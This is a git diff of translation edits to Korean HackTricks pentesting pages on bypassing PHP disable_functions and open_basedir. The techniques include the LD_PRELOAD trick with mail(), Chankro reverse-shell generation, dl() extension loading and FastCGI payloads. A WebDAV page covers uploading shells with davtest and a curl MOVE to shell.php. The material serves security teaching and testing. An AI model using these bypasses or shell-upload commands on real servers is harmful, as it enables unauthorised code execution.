구성을 덮어쓴 것과 같은 방식으로 **`disable_functions`**를 **덮어쓸 수 있을 것이라고 생각할 수 있습니다.** 잘 해보세요, 하지만 작동하지 않을 것입니다. **`disable_functions`는 `.ini` php** 구성 파일에서만 설정할 수 있으며, PHP_VALUE를 사용하여 수행하는 변경 사항은 이 특정 설정에 효과적이지 않습니다. +> `open_basedir` 구성을 덮어쓴 것과 같은 방식으로 **`disable_functions`**를 **덮어쓸 수 있을 것이라고 생각할 수 있습니다.** 시도해 보세요, 그러나 작동하지 않을 것입니다. **`disable_functions`는 `.ini` php** 구성 파일에서만 설정할 수 있으며, PHP_VALUE를 사용하여 수행하는 변경 사항은 이 특정 설정에 효과적이지 않습니다. ## disable_functions 우회 -PHP 코드가 머신 내에서 실행되고 있다면 다음 단계로 나아가 **임의의 시스템 명령을 실행하고 싶을 것입니다.** 이 상황에서는 대부분 또는 모든 PHP **함수**가 **시스템 명령을 실행할 수 없도록 비활성화되어 있다는 것을 발견하는 것이 일반적입니다.**\ +PHP 코드가 머신 내에서 실행되고 있다면, 다음 단계로 나아가 **임의의 시스템 명령을 실행하고 싶을 것입니다.** 이 상황에서는 대부분 또는 모든 PHP **함수**가 **시스템 명령을 실행할 수 없도록 비활성화되어 있다는 것을 발견하는 것이 일반적입니다.**\ 따라서 이 제한을 우회하는 방법을 살펴보겠습니다(가능하다면). ### 자동 우회 발견 @@ -491,13 +491,13 @@ PHP 코드가 머신 내에서 실행되고 있다면 다음 단계로 나아가 ### 다른 시스템 함수를 사용한 우회 -이 페이지의 시작으로 돌아가서 **명령 실행 함수 중 비활성화되지 않고 환경에서 사용 가능한 함수가 있는지 확인하세요.** 그 중 하나라도 찾으면 임의의 시스템 명령을 실행하는 데 사용할 수 있습니다. +이 페이지의 시작으로 돌아가서 **명령 실행 함수 중 비활성화되지 않고 환경에서 사용 가능한 함수가 있는지 확인하세요.** 그 중 하나라도 찾으면 임의의 시스템 명령을 실행할 수 있습니다. ### LD_PRELOAD 우회 `mail()`과 같은 PHP의 일부 함수가 **시스템 내에서 바이너리를 실행한다는 것은 잘 알려져 있습니다.** 따라서 환경 변수 `LD_PRELOAD`를 사용하여 이들을 남용하여 임의의 라이브러리를 로드하여 무엇이든 실행할 수 있습니다. -#### LD_PRELOAD로 disable_functions를 우회하는 데 사용할 수 있는 함수 +#### LD_PRELOAD로 disable_functions를 우회할 수 있는 함수 - **`mail`** - **`mb_send_mail`**: `php-mbstring` 모듈이 설치된 경우 효과적입니다. @@ -506,9 +506,9 @@ PHP 코드가 머신 내에서 실행되고 있다면 다음 단계로 나아가 - **`gnupg_init`**: `php-gnupg` 모듈이 설치된 경우 사용할 수 있습니다. - **`new imagick()`**: 이 클래스는 제한을 우회하는 데 남용될 수 있습니다. 자세한 악용 기술은 포괄적인 [**여기서**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) 찾을 수 있습니다. -이 함수들을 찾는 데 사용된 퍼징 스크립트는 [**여기서**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 찾을 수 있습니다. +이 함수들을 찾기 위해 사용된 퍼징 스크립트는 [**여기서**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 찾을 수 있습니다. -`LD_PRELOAD` 환경 변수를 남용하기 위해 컴파일할 수 있는 라이브러리는 다음과 같습니다: +다음은 `LD_PRELOAD` 환경 변수를 남용하기 위해 컴파일할 수 있는 라이브러리입니다: ```php #include #include @@ -523,11 +523,11 @@ return 1; ``` #### Chankro를 이용한 우회 -이 잘못된 구성을 악용하기 위해 [**Chankro**](https://github.com/TarlogicSecurity/Chankro)를 사용할 수 있습니다. 이것은 **PHP 익스플로잇**을 생성하는 도구로, 이를 취약한 서버에 업로드하고 실행해야 합니다(웹을 통해 접근).\ -**Chankro**는 피해자의 디스크에 실행하고자 하는 **라이브러리와 리버스 셸**을 작성하고, **`LD_PRELOAD` 트릭 + PHP `mail()`** 함수를 사용하여 리버스 셸을 실행합니다. +이 잘못된 구성을 악용하기 위해 [**Chankro**](https://github.com/TarlogicSecurity/Chankro)를 사용할 수 있습니다. 이는 **PHP 익스플로잇**을 생성하는 도구로, 이를 취약한 서버에 업로드하고 실행해야 합니다(웹을 통해 접근).\ +**Chankro**는 피해자의 디스크에 **라이브러리와 리버스 셸**을 작성하고, **`LD_PRELOAD` 트릭 + PHP `mail()`** 함수를 사용하여 리버스 셸을 실행합니다. **Chankro**를 사용하기 위해서는 `mail`과 `putenv`가 **`disable_functions` 목록에 나타나면 안 됩니다**.\ -다음 예제에서는 **arch 64**에 대한 **chankro 익스플로잇**을 생성하는 방법을 보여줍니다. 이 익스플로잇은 `whoami`를 실행하고 결과를 _/tmp/chankro_shell.out_에 저장하며, chankro는 **라이브러리와 페이로드**를 _/tmp_에 작성하고 **최종 익스플로잇**은 **bicho.php**로 호출됩니다(이 파일을 피해자의 서버에 업로드해야 합니다): +다음 예제에서는 **arch 64**에 대한 **chankro 익스플로잇**을 생성하는 방법을 보여줍니다. 이는 `whoami`를 실행하고 출력을 _/tmp/chankro_shell.out_에 저장하며, chankro는 **라이브러리와 페이로드**를 _/tmp_에 작성하고 **최종 익스플로잇**은 **bicho.php**로 호출됩니다(이 파일을 피해자의 서버에 업로드해야 합니다): {{#tabs}} {{#tab name="shell.sh"}} @@ -550,7 +550,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ### "우회" PHP 기능 사용 **PHP**를 사용하면 **파일을 읽고 쓸 수 있으며, 디렉토리를 생성하고 권한을 변경할 수 있습니다**.\ -또한 **데이터베이스를 덤프할 수 있습니다**.\ +심지어 **데이터베이스를 덤프할 수도 있습니다**.\ **PHP**를 사용하여 박스를 **열거**하면 권한 상승/명령 실행 방법을 찾을 수 있을지도 모릅니다 (예: 일부 개인 ssh 키 읽기). 이 작업을 매우 쉽게 수행할 수 있는 웹쉘을 만들었습니다 (대부분의 웹쉘도 이 옵션을 제공합니다): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) @@ -677,7 +677,7 @@ posix_setuid ``` ### 파일 시스템 함수 -RATS에 따르면 PHP의 모든 파일 시스템 함수는 불쾌합니다. 이 중 일부는 공격자에게 그다지 유용하지 않은 것처럼 보입니다. 그러나 다른 것들은 생각보다 더 유용할 수 있습니다. 예를 들어 allow_url_fopen이 On이면 URL을 파일 경로로 사용할 수 있으므로 copy($\_GET\['s'], $\_GET\['d']); 호출을 통해 시스템의 어느 위치에든 PHP 스크립트를 업로드할 수 있습니다. 또한 사이트가 GET을 통해 전송된 요청에 취약하다면, 이러한 모든 파일 시스템 함수는 서버를 통해 다른 호스트로 공격을 전달하는 데 악용될 수 있습니다. +RATS에 따르면 PHP의 모든 파일 시스템 함수는 불쾌합니다. 이 중 일부는 공격자에게 그다지 유용하지 않은 것처럼 보입니다. 다른 것들은 생각보다 더 유용할 수 있습니다. 예를 들어 allow_url_fopen=On인 경우 URL을 파일 경로로 사용할 수 있으므로 copy($\_GET\['s'], $\_GET\['d']); 호출을 통해 시스템의 어느 위치에나 PHP 스크립트를 업로드할 수 있습니다. 또한 사이트가 GET을 통해 전송된 요청에 취약하다면, 이러한 모든 파일 시스템 함수는 서버를 통해 다른 호스트로 공격을 전달하는 데 악용될 수 있습니다. **오픈 파일 시스템 핸들러** ```php diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md index 19b7b4d8e..52bf65471 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md @@ -7,9 +7,9 @@ **`dl`**은 PHP 확장을 로드하는 데 사용되는 PHP 함수입니다. 이 함수가 비활성화되지 않았다면 **`disable_functions`를 우회하고 임의의 명령을 실행하는 데 악용될 수 있습니다**.\ 그러나 몇 가지 엄격한 제한이 있습니다: -- `dl` 함수는 **환경**에 **존재해야** 하며 **비활성화되지 않아야** 합니다. -- PHP 확장은 서버가 사용하는 **동일한 주요 버전**(PHP API 버전)으로 컴파일되어야 합니다(이 정보는 phpinfo의 출력에서 확인할 수 있습니다). -- PHP 확장은 **`extension_dir`** 지시어에 의해 **정의된 디렉토리**에 **위치해야** 합니다(이 정보는 phpinfo의 출력에서 확인할 수 있습니다). 서버를 악용하려는 공격자가 이 디렉토리에 대한 쓰기 권한을 가질 가능성은 매우 낮으므로, 이 요구 사항은 아마도 이 기술을 악용하는 것을 방지할 것입니다. +- `dl` 함수는 **환경에 존재해야 하며** **비활성화되지 않아야 합니다** +- PHP 확장은 서버가 사용하는 **동일한 주요 버전**(PHP API 버전)으로 컴파일되어야 합니다(이 정보는 phpinfo의 출력에서 확인할 수 있습니다) +- PHP 확장은 **`extension_dir`** 지시어에 의해 **정의된 디렉토리**에 **위치해야 합니다**(이 정보는 phpinfo의 출력에서 확인할 수 있습니다). 서버를 악용하려는 공격자가 이 디렉토리에 대한 쓰기 권한을 가질 가능성은 매우 낮으므로, 이 요구 사항은 아마도 이 기술을 악용하는 것을 방지할 것입니다. **이 요구 사항을 충족하면, 계속해서 포스트를 읽으세요** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **`disable_functions`를 우회하는 방법을 배우기 위해**. 다음은 요약입니다: @@ -30,7 +30,7 @@ - 특정 PHP 버전을 시스템에 추출하고 설치합니다. 4. **확장 생성:** -- [PHP 확장 만들기](http://www.php.net/manual/en/zend.creating.php)를 연구하고 PHP 소스 코드를 검사합니다. +- [PHP 확장 생성](http://www.php.net/manual/en/zend.creating.php)을 연구하고 PHP 소스 코드를 검사합니다. - `ext/standard/exec.c`에 위치한 [exec 함수](http://www.php.net/manual/en/function.exec.php)의 기능을 복제하는 데 집중합니다. ### 사용자 정의 확장을 컴파일하기 위한 주의사항: @@ -54,7 +54,7 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr - **config.m4**: - 사용자 정의 확장을 위한 빌드 환경을 구성하는 데 `phpize`에 의해 사용됩니다. -### 확장 빌드하기: +### 확장 빌드: 1. **컴파일 명령:** @@ -68,11 +68,11 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr 1. **버전 호환성:** -- 공격자와 피해자 시스템 간의 PHP API 버전이 일치하는지 확인합니다. +- 공격자와 피해자의 시스템 간에 PHP API 버전이 일치하는지 확인합니다. 2. **확장 로드:** -- 상대 경로를 사용하거나 프로세스를 자동화하는 스크립트를 사용하여 `dl` 함수를 활용하여 제한을 우회합니다. +- 상대 경로 또는 프로세스를 자동화하는 스크립트를 사용하여 `dl` 함수를 활용하여 제한을 우회합니다. 3. **스크립트 실행:** - 공격자는 `bypass.so`와 PHP 스크립트를 피해자의 서버에 업로드합니다. diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index bb8f03542..c97a296d9 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -2,7 +2,7 @@ # Imagick <= 3.3.0 PHP >= 5.4 Exploit -[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)에서 발췌함 +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)에서 가져옴 ```php # Exploit Title: PHP Imagick disable_functions Bypass # Date: 2016-05-04 diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index e8b0c76c0..a44d7d7b5 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -4,7 +4,7 @@ ## PHP-FPM -**PHP-FPM**은 표준 PHP FastCGI에 대한 **우수한 대안**으로 제공되며, 특히 **트래픽이 많은 웹사이트에 유리한 기능**을 제공합니다. 이는 마스터 프로세스를 통해 여러 작업 프로세스를 감독합니다. PHP 스크립트 요청의 경우, 웹 서버가 **PHP-FPM 서비스에 대한 FastCGI 프록시 연결을 시작**합니다. 이 서비스는 **서버의 네트워크 포트 또는 유닉스 소켓을 통해 요청을 수신할 수 있는 능력**을 가지고 있습니다. +**PHP-FPM**은 표준 PHP FastCGI에 대한 **우수한 대안**으로 제공되며, 특히 **트래픽이 많은 웹사이트에 유리한 기능**을 제공합니다. 이는 마스터 프로세스를 통해 여러 작업 프로세스를 감독합니다. PHP 스크립트 요청의 경우, 웹 서버가 **PHP-FPM 서비스에 대한 FastCGI 프록시 연결을 시작**합니다. 이 서비스는 **서버의 네트워크 포트 또는 유닉스 소켓을 통해 요청을 수신할 수 있는 기능**을 가지고 있습니다. 프록시 연결의 중개 역할에도 불구하고, PHP-FPM은 웹 서버와 동일한 머신에서 작동해야 합니다. 사용되는 연결은 프록시 기반이지만, 기존의 프록시 연결과는 다릅니다. 요청을 수신하면 PHP-FPM의 사용 가능한 작업자가 이를 처리하여 PHP 스크립트를 실행하고 결과를 웹 서버로 다시 전달합니다. 작업자가 요청 처리를 마치면, 다음 요청을 위해 다시 사용 가능해집니다. @@ -14,7 +14,7 @@ 일반적으로 웹 페이지, 파일 및 웹 서버에서 브라우저로 전송되는 모든 문서는 home/user/public_html과 같은 특정 공개 디렉토리에 저장됩니다. **브라우저가 특정 콘텐츠를 요청하면, 서버는 이 디렉토리를 확인하고 필요한 파일을 브라우저에 전송합니다.** -서버에 **CGI**가 설치되어 있으면, 특정 cgi-bin 디렉토리도 추가됩니다. 예를 들어 home/user/public_html/cgi-bin입니다. CGI 스크립트는 이 디렉토리에 저장됩니다. **디렉토리의 각 파일은 실행 가능한 프로그램으로 취급됩니다.** 디렉토리에서 스크립트에 접근할 때, 서버는 파일의 내용을 브라우저에 전송하는 대신 이 스크립스를 담당하는 애플리케이션에 요청을 보냅니다. **입력 데이터 처리가 완료되면, 애플리케이션은 출력 데이터를** 웹 서버에 전송하고, 웹 서버는 데이터를 HTTP 클라이언트로 전달합니다. +서버에 **CGI**가 설치되어 있으면, 특정 cgi-bin 디렉토리도 추가됩니다. 예를 들어 home/user/public_html/cgi-bin입니다. CGI 스크립트는 이 디렉토리에 저장됩니다. **디렉토리의 각 파일은 실행 가능한 프로그램으로 취급됩니다.** 디렉토리에서 스크립트에 접근할 때, 서버는 파일의 내용을 브라우저에 전송하는 대신 이 스크립스를 담당하는 애플리케이션에 요청을 보냅니다. **입력 데이터 처리가 완료되면, 애플리케이션은 출력 데이터를** 웹 서버에 전송하고, 웹 서버는 데이터를 HTTP 클라이언트에 전달합니다. 예를 들어, CGI 스크립트 [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**)에 접근하면, 서버는 CGI를 통해 적절한 Perl 애플리케이션을 실행합니다. 스크립트 실행에서 생성된 데이터는 애플리케이션에 의해 웹 서버로 전송됩니다. 반면, 서버는 데이터를 브라우저로 전송합니다. 서버에 CGI가 없었다면, 브라우저는 **.pl** 파일 코드를 그대로 표시했을 것입니다. (설명은 [여기](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)에서) @@ -37,7 +37,7 @@ FastCGI를 악용하여 PHP 코드를 실행하고 `disable_functions` 제한을 ![](<../../../../images/image (227).png>) -그런 다음, URL 인코딩된 페이로드를 가져와서 디코딩하고 base64로 변환합니다. \[**예를 들어 이 cyberchef 레시피를 사용하여**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). 그런 다음 base64를 이 PHP 코드에 복사하여 붙여넣습니다: +그런 다음, URL 인코딩된 페이로드를 가져와서 디코딩하고 base64로 변환합니다. \[**예를 들어 이 cyberchef 레시피를 사용하여**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). 그런 다음 base64를 이 PHP 코드에 복사/붙여넣기 합니다: ```php [!CAUTION] -> 최신 버전에서 작동하는지 확실하지 않습니다. 한 번 시도했지만 아무것도 실행할 수 없었습니다. 실제로 FastCGI 실행에서 `phpinfo()`가 `disable_functions`가 비어 있다고 표시했지만, PHP는 (어떻게든) 여전히 이전에 비활성화된 함수를 실행하는 것을 막고 있었습니다. 더 많은 정보가 있다면 \[**PEASS & HackTricks 텔레그램 그룹 여기**]\([**https://t.me/peass**](https://t.me/peass)), 또는 트위터 \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))로 저에게 연락해 주세요.** +> 최신 버전에서 작동하는지 확실하지 않습니다. 한 번 시도했지만 아무것도 실행할 수 없었습니다. 실제로 FastCGI 실행에서 `phpinfo()`가 `disable_functions`가 비어 있다고 표시했지만, PHP는 (어떻게든) 여전히 이전에 비활성화된 함수를 실행하는 것을 방지하고 있었습니다. 더 많은 정보가 있다면 \[**PEASS & HackTricks 텔레그램 그룹 여기**]\([**https://t.me/peass**](https://t.me/peass)), 또는 트위터 \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**로 저에게 연락해 주세요.** [여기서](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) 코드. ```php @@ -415,12 +415,12 @@ echo $client->request($params, $code)."\n"; 여기에서 접근할 수 있습니다: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) 또는 약간 수정되고 개선된 버전은 여기에서 확인할 수 있습니다: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) 이 익스플로잇은 이전 코드와 매우 유사하지만, PHP_VALUE를 사용하여 `disable_functions`를 우회하려고 시도하는 대신, `PHP_ADMIN_VALUE` 변수 내의 `extension_dir` 및 `extension` 매개변수를 사용하여 **외부 PHP 모듈을 로드**하려고 합니다.\ -**NOTE1**: 서버가 사용하는 **동일한 PHP 버전**으로 확장을 **재컴파일**해야 할 수도 있습니다 (phpinfo의 출력에서 확인할 수 있습니다): +**NOTE1**: 서버가 사용하는 **동일한 PHP 버전으로** 확장을 **재컴파일**해야 할 수도 있습니다 (phpinfo의 출력에서 확인할 수 있습니다): ![](<../../../../images/image (180).png>) > [!CAUTION] -> **NOTE2**: PHP `.ini` 구성 파일에 `extension_dir` 및 `extension` 값을 삽입하여 이 작업을 수행할 수 있었습니다 (서버를 공격할 때 할 수 없는 작업입니다). 그러나 어떤 이유로 인해 이 익스플로잇을 사용하고 `PHP_ADMIN_VALUE` 변수에서 확장을 로드할 때 프로세스가 중단되었으므로 이 기술이 여전히 유효한지 모르겠습니다. +> **NOTE2**: PHP `.ini` 구성 파일에 `extension_dir` 및 `extension` 값을 삽입하여 작동하게 만들 수 있었습니다 (서버를 공격할 때 할 수 없는 작업입니다). 그러나 어떤 이유로 인해 이 익스플로잇을 사용하고 `PHP_ADMIN_VALUE` 변수에서 확장을 로드할 때 프로세스가 중단되었으므로 이 기술이 여전히 유효한지 모르겠습니다. ### PHP-FPM 원격 코드 실행 취약점 (CVE-2019–11043) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md index 702a764f0..eecbf4ad4 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md @@ -1,6 +1,6 @@ {{#include ../../../../banners/hacktricks-training.md}} -# PHP safe_mode 우회 proc_open\(\) 및 사용자 정의 환경 익스플로잇 +# PHP safe_mode 우회 proc_open\(\) 및 사용자 정의 환경 exploit From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) ```php diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 0b207e1a7..5dcfcd378 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -9,8 +9,8 @@ WebDav 서버에 접근하려면 일반적으로 **유효한 자격 증명**이 파일 업로드에 대한 제한을 극복하기 위해, 특히 서버 측 스크립트 실행을 방지하는 제한이 있는 경우, 다음과 같은 방법을 사용할 수 있습니다: - **제한이 없으면** **실행 가능한 확장자**를 가진 파일을 **직접 업로드**합니다. -- 업로드된 비실행 파일(.txt 등)의 이름을 실행 가능한 확장자로 **변경**합니다. -- 업로드된 비실행 파일의 확장자를 실행 가능한 것으로 **변경**하여 **복사**합니다. +- 업로드된 비실행 파일(예: .txt)의 이름을 실행 가능한 확장자로 **변경**합니다. +- 업로드된 비실행 파일을 **복사**하고, 그 확장자를 실행 가능한 것으로 변경합니다. ## DavTest @@ -25,7 +25,7 @@ davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every ## Cadaver -이 도구를 사용하여 **WebDav** 서버에 **수동으로** 연결하고 **업로드**, **이동** 또는 **삭제**와 같은 작업을 수행할 수 있습니다. +이 도구를 사용하여 **WebDav** 서버에 연결하고 **수동으로** **업로드**, **이동** 또는 **삭제**와 같은 작업을 수행할 수 있습니다. ``` cadaver ``` @@ -39,9 +39,9 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav 취약점 -이 취약점은 매우 흥미롭습니다. **WebDav**는 **.asp** 확장자를 가진 파일을 **업로드**하거나 **이름을 변경**하는 것을 **허용하지 않습니다**. 그러나 이름 끝에 **";.txt"**를 추가하여 **우회**할 수 있으며, 파일은 .asp 파일처럼 **실행됩니다** (대신 **".txt"** 대신 **".html"**을 사용할 수도 있지만 **";"**를 잊지 마세요). +이 취약점은 매우 흥미롭습니다. **WebDav**는 **.asp** 확장자를 가진 파일을 